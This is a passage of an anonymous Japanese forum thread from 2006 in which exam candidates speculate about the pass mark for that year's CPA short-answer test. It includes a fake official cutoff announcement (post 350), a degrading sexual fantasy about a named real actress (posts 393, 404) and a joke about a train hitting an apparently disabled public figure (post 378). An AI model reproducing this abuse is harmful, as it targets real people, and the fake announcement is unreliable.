だから一番多いところでも500切ってる計算になる。
次に問題なのはこれは一番多いところだから、ボーダー付近では無く平均付近の話です。
したがって、上位20%ほどのボーダー付近に1点500人もいる可能性はほとんど無いと思われます。

316 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:36:25 ID:???
>>310
70以上に相当数の免除がふくまれてるからな
あんまり財務以外が簡単なんで大半が不安でだしたらしい

317 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:36:52 ID:???
教室の人数の多さが不安なんだよな・・

318 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:37:08 ID:???
>>315
平均と中央値と最頻値の違いを知った方がいいぞ。

319 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:37:54 ID:???
気になったんだけど、来年の論文合格者ってかなり増えるんじゃね?
来年も論文合格者1500とかしか出さなかったら、
科目合格者が全科目合格する分一括合格者がかなり減る気がする。

320 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:38:30 ID:???
>>306
意味不明。
去年水準でも74なのにそれより減らして75にするってことね。合格者3000人か…。
確かに69よりは75のが可能性が高いがね。まぁでも採点官増やすから若干合格者増える
だろうから72〜73がボーダーだろうな。
残念だがお前は落ちてるよ。


321 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:38:36 ID:???
>>315
同意。正規分布を仮定すれば、一番人が多いのはボーダー付近ではなく
平均点付近なんだよな。

322 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:40:22 ID:???
>>317
たしかに、65ぐらいまで平気でいるだろ
5000人とかでも無理だと思うけど

323 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:41:03 ID:???
あの試験で正規分布は仮定できないだろう。

ちなみにセンター試験も正規分布じゃなくて
ほかの何とか分布で近似されるらしいよ。

324 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:42:26 ID:???
だから69が一番しびれるよ

325 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:42:52 ID:???
>>320
というか、推定には幅があるのよ。
74の可能性が高ければ必然的に73や75の可能性も高い。
推定値は点ではなく範囲ですよ。

326 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:44:16 ID:???
>>325
俺は320ではないが、もしあんたが統計学選択者なら、
区間推定だけじゃなく、点推定も勉強しておけ。

327 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:45:58 ID:???
自習室にいる多数の60台はどうすればいいんだ?
すげー多いぞ。


328 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:46:21 ID:???
>>315
お前まじで楽観主義者だな。
2.5点刻みでみろよ。60〜62.5には399人いるだろ。
399÷2.5×16500/4340=606.77…で1点に500人以上いるだろうが。
お前の5点は人数多いとこと少ないとこが相殺されてんじゃんかよ。
ちゃんと一番多いところを見ろよ。現実逃避者。

329 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:46:55 ID:???
リサーチ見ればわかるけど、密集している点数帯でも各点数ごとに大きく
人数にバラツキがあるんだよな。自分の点数に人が多ければその前で
切られてしまうし、少なければ入れてもらえるかもしれない。
運次第。

330 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:47:55 ID:???
タックの講師で5000人とかいった講師誰だっけ?
余計なこというから人数が半端ない。
自習室の席がとれねー。


331 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:48:08 ID:???
>>326
点推定でもパーセンテージが伴なうべ?

332 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:48:20 ID:???
>>330
abe

333 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:49:20 ID:???
>>328
どっちにしろそれ一番多いところなわけでしょ?
上位20%付近のボーダーに500もいるとは思えないけど・・・。
ためしに上位20%でも計算してみてよ。
ちなみに故意に相殺してるわけではなく、WEB成績表だと5点刻みでしかデータが出てないのです。

334 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:49:32 ID:???
阿部

335 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:50:14 ID:???
>>331
伴わないよ。
326で書いたことは、ここのボーダー議論とは関係ないので。
筆足らずだったらごめんね。

336 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:51:03 ID:4+tIRTnt
299、303すみません
論文受験者の質が低下しているとの情報がありましたので
三人に一人は競争が無くまずいとただ思っただけです。
文章がやばかったです。

337 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:52:32 ID:???
推定値って確率変数なのでは
推定値自体も確率分布に従うんじゃなかったっけ
教えて統計学選考の人

338 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 02:53:37 ID:???
サプライズが確定しないことにはどうしようもないな

339 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:54:53 ID:???
65〜70のベテが出さないから混乱する。
自習室も占拠してるし。

340 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:54:59 ID:???
タックの提出者が、母集団全体の性質をほとんど全くといっていいほど
反映してないので、そこからの推定は無意味
サンプリングリスク高すぎ

341 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:57:01 ID:???
母集団に含まれる未知のパラメータを
1つの値で推定しようとするのが点推定。
>>337がいっているのは区間推定だと思う。


342 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:57:15 ID:???
>>333
上位20パーって16500人×0.2=3300だよ。
これ74〜75だから。
俺の言ってるのはそのしたの68〜72からの事だから…。
この辺りは1点に500〜700いるよ。

343 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:57:36 ID:???
免除者もごちゃ混ぜにしてるしな?
あの平均とかあてにならんよ

344 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 02:57:42 ID:???
>>340
それは毎年同じなんじゃないの?

345 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:00:16 ID:???
要するに9割がた70で決まるってことね


346 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:02:04 ID:???
70は可能性はあるが低いな。
72か73だと思ってるよ。

347 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:03:06 ID:???
TACは監査13と管理3があるから、
ボーダー前後で意外な泣き笑いありそうだな

348 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:03:07 ID:4+tIRTnt
やっぱり今日だけがんばりますが
判例を変えますよ

349 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 03:08:14 ID:???
普通に考えて65〜70の可能性でいいんじゃないの?
それ以上の奴は勉強すればいいしさ

350 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:09:23 ID:???
平成18年度公認会計士試験短答式試験の合格基準点について

合格基準点は 360点 です。

財務会計論免除者の合格基準点は 210点 です。

監査論及び管理会計論・財務会計論免除者の合格基準点は 70点 です。

合格者(受験番号)は次のとおりです。

<略>

351 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 03:10:22 ID:???
アフォが出た

352 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:10:26 ID:4+tIRTnt
人生で初めていい子と言う人多い
のかな?


353 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:12:56 ID:???
>>342
>>328の計算で最頻値にいて600といってるわけでしょ?
にもかかわらず、68〜72に500〜700いると言ってるという事は、
つまり最頻値が68〜72にあるってことを言いたいの?
それは無理があると思うけどな。

354 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:13:59 ID:???
去年水準で74なら72か73がボーダーでFAだな。
俺はなおサプライズで管理3が4であって欲しい。
そうすれば7/5盛り上がるぜ。

355 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:18:53 ID:???
ボーダー58くらいでいいよ。よっぽどサプライズだろ?
ただ論文にかなりDQNが集まること間違いない。

356 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:23:19 ID:???
合格者は3800〜4000人と推定。
ボーダーは72点。
財会免除は43点。
アカスクは14点。


357 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 03:56:28 ID:???
>>353
ちなみTAC全答練の平均が54点なのに対して
最頻値は60〜62.5
これからも分かるだろ。平均点は最頻値じゃない。
68〜72が最頻値であることがな。
つうかなんで俺がこんなに分析して示さなきゃなんないか分からん。
ボーダー付近の奴はもっとデータベースで研究するべきだよ。
煽りか煽りじゃないかは自分のデータで決めなきゃな。
自分の都合のいいように解釈するのはよくない。
現実は1つなのだから…。

358 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:05:00 ID:???
>>357
大変失礼ですけど、何の立証にもなってないです。
平均点より上に最頻値があるのはわかるけど、本試験の平均すら示してないですから。
なんでいきなり68〜72に最頻値あるとかいえるのか不明です。
平均が50なら最頻値は57にあるともいえるし、
68〜72に最頻値があるというなら平均は60以上という事を示さないと。
もちろんそんなことが無理だというのはわかりますけどね。

結局全答練分析しても1点に何人くらいいるかは予測できても、
それがどこにあるかは私を含め結局憶測の域を出ませんね。

359 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:17:21 ID:???
>>358
TACの関口が今年は70前後が極端に多いってさ。
70前後は68から72点の5点くらいを指すのが普通だろ。
てか68から72を超える点を取ればよかったのよ。
密集地帯を抜け出せればね。

360 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:24:59 ID:???
>>358
TACの全とうれんの平均が54なのだから本試験は少なくともTAC
の全とうれんよりもずっとずっと簡単だったわけだから最頻値が68〜72
でもおかしくないと思いますよ。
結果が出てない中こうしてみんなで予想をしているわけです。
全てこの掲示板自体予測のみなのです。
予測を嫌うならこんなところに来なければいいと思います。


361 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:32:36 ID:???
>>360
全答練より簡単だとしてもTAC生よりずっとずっと劣る連中が
あと何千といるわけだから、結局全体の平均やら最頻値なんぞ予測できねーだろ。

362 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:33:25 ID:???
>>359
同意。
TACの全答練が平均54なら本試験の平均は60は軽く超えるだろうな。
それすら認められない奴(平均50台主張している奴)は現実逃避者以外あり得ない。
現実見られない奴はこの試験というか競争社会では生きていけない。
いつも負け組みの奴等で徒労を組んで、勝ち組みの文句を陰でこそこそ言うような人種になるぞ。


363 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:36:16 ID:???
>>361
そんな低い奴と張り合ったのでは4000人には入れません。
ただでさえ免除等がいるのですから。

364 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:37:37 ID:???
>>361
だから予測嫌いならこんなスレ見るなって360もいってんだろ。
くんなよ。

365 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:39:19 ID:???
>>364
出来ないって言ってるだけで嫌いとか言ってないだろw
何をそんなカリカリしてんの?

366 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:42:46 ID:???
>>365
カリカリしたのは悪かったとしてじゃーあなたはここで何がやりたいの?
予測じゃなくて現実を知りたいなら7/5しかないよ。
それまでは不毛の議論でしかない。
その不毛の中での俺の見解に簡単に文句をつけられて少し嫌な気持ちがした。

367 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 04:45:32 ID:???
>>366
私は365の予測を聞いてみたいです。365はどれくらいがボーダーと予測してますか?

368 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:00:11 ID:???
>>367
敢えて予測するなら70。
点数低い奴がボーダーを下げたいのは心情的に理解できるけど、
正直高得点取ってる奴がライバル減らしたいの見え見えで見苦しい。
高得点組でも357とかは言ってること至極まともだと思ったけどな。
それでも去年までの試験委員と話してると72とか無いと思う。

369 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:06:42 ID:???

いいじゃない。
俺も70の可能性あると思うよ。
全ては予測なんだから68とかだってひょっとしたらひょっとするよ。

370 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:25:23 ID:???
好きに予測書いていいなら、おれは76予想。

@まず、七割基準は基準を示した他の試験の結果から見ても全くあてにならない。
A今年、短答合格者を激増させると2年後が恐ろしい人数になる。アカスク生も増加するはずだし。
B試験委員増員が今年の採点数増に備えただけではなく、二年後まで見据えたものである可能性がある。
Cよって、短答合格率は20%くらいで、TACの上位20%が81点だったから-5点で76点が妥当かな、と。

以上が理由です。
他の皆さんの予想と同じように確証はありませんが。

371 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:27:45 ID:???
・何人合格させるのか
・その人数になる点数は何点なのか

今年は2つ予測しなきゃいけないからめんどくさい

俺の予想は4300人・72点。

372 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:44:20 ID:???
4000人 74点

373 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:48:10 ID:???
3200人7割5分
理由:74ごときで短答楽勝なんて言ってるむかつく知り合いが落ちるから

374 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:51:45 ID:???
>>373
おれもそいつムカつくから75に一票

375 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 05:54:48 ID:???
それは予測じゃなくて希望ですがな

376 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 06:01:42 ID:???
77点予想

俺が77だから

377 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 06:32:53 ID:???
82点予想。俺の論文の合格可能性が限りなく高まるから

378 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 07:07:31 ID:???
今日正午ごろ、JR琵琶湖線で特急電車がZ武をはねる事故があった。
 電車と乗客・乗務員に怪我は無かった。この事故の影響で後続電車10本に遅れが出て、3500人の足に影響が出た。
 写真:電車がZ武はねる瞬間


  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
  | ⊂⊃  (〇〇) [京都] | /
  |┏━━┯━━┯━━┓|  プアァァァァァァァァン!
  |┃    |    │   ┃| \
  |┗━━┷━━┷━━┛|
  |──────────|
  |──────────|
  | 〇          〇 |
  |__________|
   │   │[=.=]|   |
   └──ヽ(´Д`;)ノ ああああああ〜ッ!!
     / (___)  バッテリー切れだよ〜〜〜!!!
    /  |   | \
   /   ◎ ̄ ̄◎   \
  /             \

379 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 08:51:35 ID:???
>>373
そりゃ確かにむかつくな
俺も74だったけど同じレベルの問題もう一度解いたら70いくか自信ないし
10点くらいはその日の運で変動するのでは?
もちろん80点超えるようなレベルになれば運も必要ないと思うけどね

380 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 09:22:36 ID:???
74でめっちゃブルーになってる友達いるから、73にしてつかーさい。
同じ74でもいろんな奴いるんだな。

381 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 09:31:52 ID:???
>>379
一浪総計2回目の分際で現役マーチ初受験70の奴の陰口叩くつまんねー奴だよ


382 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 10:29:38 ID:???
>>380
やさしいね
あなたごうかっくん

383 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 10:33:57 ID:???
今年の短答合格者何だかんだいってあんまり去年と変わらないんじゃねーの?
だって税理士試験だって「60%を基準にする」とか言っときながら実際は相
対評価で決まってるし。まあただ今年から会計士の人数を増加させるというこ
とと短答が2年免除になること、そして試験委員の数が増えたことを考えると
 今年の短答合格ライン
  合格者 5000人位
  合格点 73点


384 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 10:51:04 ID:???
去年の人数なら72〜3が妥当だろ?
仮に5000人にまで増えるとしたら64〜65まで下がってくる
予備校の予想はこういうこと

385 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 10:52:18 ID:???
たしかに・・・・
複数の予備校が384みたいなことを言っていたな
それにしても今年は分からんな

386 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 10:53:14 ID:???
ボーダー65
5350人合格
こんなところが現実じゃないの?

387 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:31:57 ID:h6oHg0PB
5千もいかないよ。鑑定士の発表後に会議ってことからもわかるように多くても上位25%だよ。
73が現実だから

388 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:40:18 ID:???
>>378
・・・・・・。

389 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:40:44 ID:???
司法試験を持ち出し自分の有利な見解を述べてた馬鹿。
鑑定士試験の結果に唖然としてんだろうなw

390 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:45:50 ID:???
76で中穴。

391 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:50:25 ID:???
72=ディープインパクト
70以下=ハルウララ

392 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:55:33 ID:???
─────────────‐
━━━mm━━━━━━━━━
 ||| lll | |    人  ガラッ
     | |   (__)   ||| ________
  |||  | | (____)   /
     \\( ・∀・ ) < おやじ!冷やしうんこ下痢だくで!
      \     \ \
||| ガラッ  )    ト、ヽ   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   |||   /     ( | | |||
━━━━━━━━━mm━━━
─────────────‐

393 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 11:56:03 ID:???
長澤まさみのおしっこで米炊きたい!!!!
そして、炊き上がった米の上に長澤まさみのオリモノをぶっかけて
さらにそれを長澤まさみの口に豪快に流し込み、ひざ枕をされたまま口移しで俺に食べさせて欲しい。
そして長澤まさみに、「もう、スケベなんだから!」とか言われながら俺の頭をなでてもらいたい。

394 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:16:38 ID:???
ボーダー66できまりとおもわれる

395 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:21:29 ID:???
みんな財会の疑義問は考慮にいれてるの?

396 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:24:09 ID:???
ざいかいは疑義にあらず

397 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:25:15 ID:???
なんで?
旧ベースだとICOの解答になるんでしょ?

398 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:26:53 ID:???
                   般  羯 多 呪 多 得 想 掛 所 亦 無 耳 不 是 異 蘊 観  摩 
                   若  諦 呪 能 是 阿 究 礙 得 無 意 鼻 増 舎 色 皆 自  訶
                   心  羯 即 除 大 耨 竟 無 故 老 識 舌 不 利 色 空 在  般
                   経  諦 説 一 神 多 涅 掛 菩 死 界 身 減 子 即 度 菩  若
                    呪 切 呪 羅 槃 礙 提 盡 無 意 是 是 是 一 薩  波
    ___             波 曰 苦 是 三 三 故 薩 無 無 無 故 諸 空 切 行  羅
   ,;f     ヽ         羅   真 大 藐 世 無 陀 苦 明 色 空 法 空 苦 深  蜜
  i:        i   _.,.,_   .羯   実 明 三 諸 有 依 集 亦 聲 中 空 即 厄 般  多
  |   ,,,,,_  ,,,,,,|  ///;ト,  提   不 呪 菩 佛 恐 般 滅 無 香 無 相 是 舎 若  心
  |r-==(三);(三) ////゙l゙l      虚 是 提 依 怖 若 道 無 味 色 不 色 利 波  経
  (. ヽ  :::__)..:: } l   .i .! |  波   故 無 故 般 遠 波 無 明 觸 無 生 受 子 羅
  ,,∧ヽ  ー== ;. |    |.| .羅   説 上 知 若 離 羅 智 盡 法 受 不 想 色 蜜
/\..\\___ !, {   .ノ.ノ .僧   般 呪 般 波 一 蜜 亦 乃 無 想 滅 行 不 多
/  \ \    ../   / .|  .羯   若 是 若 羅 切 多 無 至 眼 行 不 識 異 時
                  諦   波 無 波 蜜 顛 故 得 無 界 識 垢 亦 空 照
                       羅 等 羅 多 倒 心 以 老 乃 無 不 復 空 見
                  菩   蜜 等 蜜 故 夢 無 無 死 至 眼 浄 如 不 五
                  提
                  薩
                  婆
                  訶

399 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:26:54 ID:???
>>397
疑義にあらす

400 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:28:09 ID:???
>>397
旧ベースでもあぁはならないんじゃない?


401 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:30:20 ID:???
ざいかいはすでに疑義でない
あれはICOがサプライズねらってるだけ
ばくち

402 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:30:20 ID:???
そうなんだ、よかったよ。
ICOめ‥余計な不安送り込みやがって‥

403 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:32:54 ID:???
じゃあ疑義問4問か 堅いのは 監査13 3 監査14 1 ぐらいか。
管理3 と監査19は謎のままという感じ?

404 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:33:51 ID:???
長澤まさみの股下は78

405 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:34:13 ID:???
>>403
監査13は疑義でないしょ
可能性は監査14と19
管理13かな

406 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:34:51 ID:???
405だが管理は3す

407 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:34:53 ID:???
監の13、14は各校の解説見る限りもうどっちに転んでもおかしくない
レベルだよ。多数派だから安心とかはない。
ただ、管3はTACがイの肢についてはしっかり見解を述べてるけど、
オの肢については根拠が基準一八(一)だけだから、可能性は
かなり低い。製造直接費と製造間接費を完全に同一視している。

408 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:36:26 ID:???
監査14はレックが唯一の少数派だからかなりサプライズはひくい
監査19は1と3以外の答えがありうるかも

409 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:37:46 ID:???
管理3は答えは4では?答え5を連発かんがえにくい

410 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:38:58 ID:???
疑義抜きで65〜66と思うが

411 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:40:03 ID:???
>>409
同意

412 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:40:22 ID:???
まあ管理3は5と考えといたほうがいいんじゃねえの?
他校の解答は軒並み5だし、
受験者も5を選んだ奴のが多い。
結果的にはわからんけど、
なにも逆張りで見積もる必要ないと思うが・・・


413 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:40:36 ID:???
>>410同意

414 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:41:33 ID:???
とにかく、疑義ありで、去年と同基準でもボーダーは72 73だよ。それ以上の奴をいっているのは煽り。
なんだかんだいって 統計が一番信頼できる

415 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:41:35 ID:???
>>412
基本多数派で採点てことだね
監査19だけはなんともいえないけど

416 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:42:54 ID:???
>>414
疑義は少数派はいいのかな?
いいとこどりで71だからかなりくるしいす

417 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:43:54 ID:???
ちなみに監14のエについてLECの見解
委員会報告第5号10項において、「特定の勘定や取引等に関して
重要性の基準値を小さくして監査手続を実施することがある。」
という用い方がされている等、基準値と値の用語の使い分けは
曖昧です。そもそも、重要性の値は、勘定や取引レベルに落とされた
重要性の基準値に他ならないのであるから、「勘定や取引ごとの
重要性の基準値」と言う表現を誤用と断定するのには無理があります。

唯一の少数派とかいう以前に、普通に筋が通ってるよ。

418 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:45:44 ID:???
監査14はオの肢委員会報告書文言どおりよむと×も考えられるしな〜
なんであれが○あのかな?

419 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:46:34 ID:???
発表近いので久々に来た。
70付近の人の気持ちを想像してみたけど、かなり悶えるねw
俺も初回が今年だったら一日中短答論議したいぐらい不確定要素
が多くてネタになるね。

420 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:46:36 ID:???
監査14はレックのがいってること正しい気する

421 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:46:47 ID:???
>>416
うーん、多数派 少数派というよりは
各予備校ベースで採点した結果だよ。リサーチの結果が各予備校ベースだからそれに対応させないといけない。

72、73は去年と同程度の基準の場合だから。
今年は点数基準だし、合格者増が見込まれているからそれより下でも希望あると思う。

422 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:47:01 ID:???
疑義抜きで65〜66なら下手すリャ70だろ?
いいとこドリの皮算用してもイミね〜じゃん


423 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:48:15 ID:???
>>421
同意
72〜3で去年基準
合格者増を考えると・・・

424 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:48:34 ID:???
74の俺はかなり不安だよ
去年なら37は当確なんしょ?
今年そんな簡単でした?


425 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:49:22 ID:???
各予備校疑義込みだから
疑義抜き70で去年基準
65〜人数次第じゃない?

426 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:49:38 ID:???
五肢不満足

427 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:49:57 ID:???
れっくの平均モロに低かったしな

428 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 12:50:28 ID:???
れっくの平均って?

429 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:50:57 ID:???
レックは毎年ひくいみたいだよ
ちなみにレックは何点が平均?

430 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:52:33 ID:???
レックは去年30問くらい平均だった気がする
今年難易度同じなら8問は上とらないと

431 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:52:50 ID:???
ちなみに管3のオについては直接労務費を部門に集計するのは
@直接労務費と製造間接費の分離が困難な場合、A必要ある場合、
って基準に示されてるやん?ここでAの方は原価管理のためって
ことが通説として確定してるわけだけど、オの肢では
@のような前提がないからねぇ。@の前提をつけてくれれば、
正確な製品原価の計算ってことも言えるのかもしれないけど、
それがないから、Aの場合になって、やっぱり×じゃない?

432 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:54:58 ID:???
単に@を省いても文章としてはおかしくないと思うが

433 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:56:40 ID:???
本命72だろ
免除者も考慮して十分合格者は増える。


434 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 12:59:49 ID:???
>>432
通常は分離できて、分離できないのは例外的な
状況なんだから、書かなきゃ想定できないでしょ?
そもそも分離できれば直接労務費はどの製品から生じたのか
分かるんだから、正確な計算のためには賦課が原則だし。
部門に集計したら、配賦になっちゃうやん。

435 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:00:29 ID:???
今年は時間の余裕があったから点数が高いんだと思う。
俺みたいな読むのが遅いタイプはみんな点数上がってるよ。

436 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:00:56 ID:???
結局あんま人数かわらないと思うよ
合格者はあくまで「徐々に」増やす方針だからね。
免除も含めりゃ結局4科目受験者の難易度は昨年とそんなかわらんと思う。
去年TACの受付に税理士試験の申込者の行列ができてたし

437 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:01:35 ID:???
本命68だす
データリサーチの台形図の異常さを考慮

438 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:03:13 ID:???
不動産鑑定士よりも短答合格率高くするのか?
いよいよこの資格も終わりだな。

439 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:03:18 ID:???
てか俺の周りの70ジャストくらいの奴はみんなあきらめてるが・・


440 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:06:26 ID:???
去年より監査財務は難化 管理企業は易化
おおかたこんな感触だろう
企業は簡単すぎるが
するとだいたい去年とおなじで68ではないかと
大原座談会でも期待正答数では65くらい
それより少し高くみつもり68くらいが妥当かと
そんな受験者のレベルが急にかわるとは思えない

441 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:06:49 ID:???
>>438
いろいろな資格の合格者を一気に増やそうという流れになったのが、
確か2003年の就職の超氷河期。
ボーナスカット当たり前の時代。

今じゃ景気も回復して大幅採用。
株価も大幅に上昇して金融機関ボロ儲け。
普通にそこそこの金融行ってれば、
明らかに会計士の平均生涯所得と同等以上の給料は保障。

資格の価値は名実ともに下り坂です。少なくとも今はね。

442 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:08:14 ID:???
>>440
リサーチ見てなんでそんな感想がでるんだ・・・
昨年までの試験を本気で受けたことある?
まさに>>435が的を射てると思うけど


443 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:08:32 ID:???
70は確かに今年はあきらめモードだな
よめないし
今年のリサーチは異常なのはいえる
リサーチ提出人数はふえたが

444 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:09:56 ID:???
ボーダーみなさんの感触かきこしてね

445 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:11:00 ID:???
>>443
「下位がださなかった」とかいう理屈はまあわからなくもないが、
「合格者かつリサーチ提出者÷総合格者」の割合が昨年までと変わらないとすると、
72でも明らかな合格者増となる。

446 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:11:55 ID:???
入門69点でした
運でもいいからギリで突破したいです
73あたり本命なんですか?

447 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:13:20 ID:???
そもそもリサーチで判断するのが無理あんだよ。
去年金融庁が35問を基準にって発表してたらどうなる?
35以下の提出者が減って平均は上がるでしょ。
70%って基準がなければリサーチの平均が68くらいになって、
去年基準で70がボーダーとかも普通にありえると思うんだけど。

448 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:13:26 ID:???
>>445
まあそうなるね
構成比率で50パーセント台あたりがいつもボーダーだね

449 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:15:07 ID:???
まあ70基準が異常値につながってるとはいえるかもしれんな
普通に50台なんてださないし
60前半もさすがにあきらめるだろうし

450 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:17:17 ID:???
自分の感触ではボーダーは72〜74になると思います。
全科目時間の余裕がありましたし、
企業と管理については易化し、監査も難化したと思いきや皆さん高得点続出。
財務も難化といわれていますが、上位+やや上位者含めて大方26以上はとっています。
特に財表は組み合わせ問題特有の消去法で一部を除いて正解しなければいけない問題が多かったです。



451 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:17:50 ID:???
まあ70あれば多分だいじょうぶじゃない?
60後半はかみだのみ

452 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:18:26 ID:???
>>450はしにましょう

453 :447:2006/06/29(木) 13:19:08 ID:???
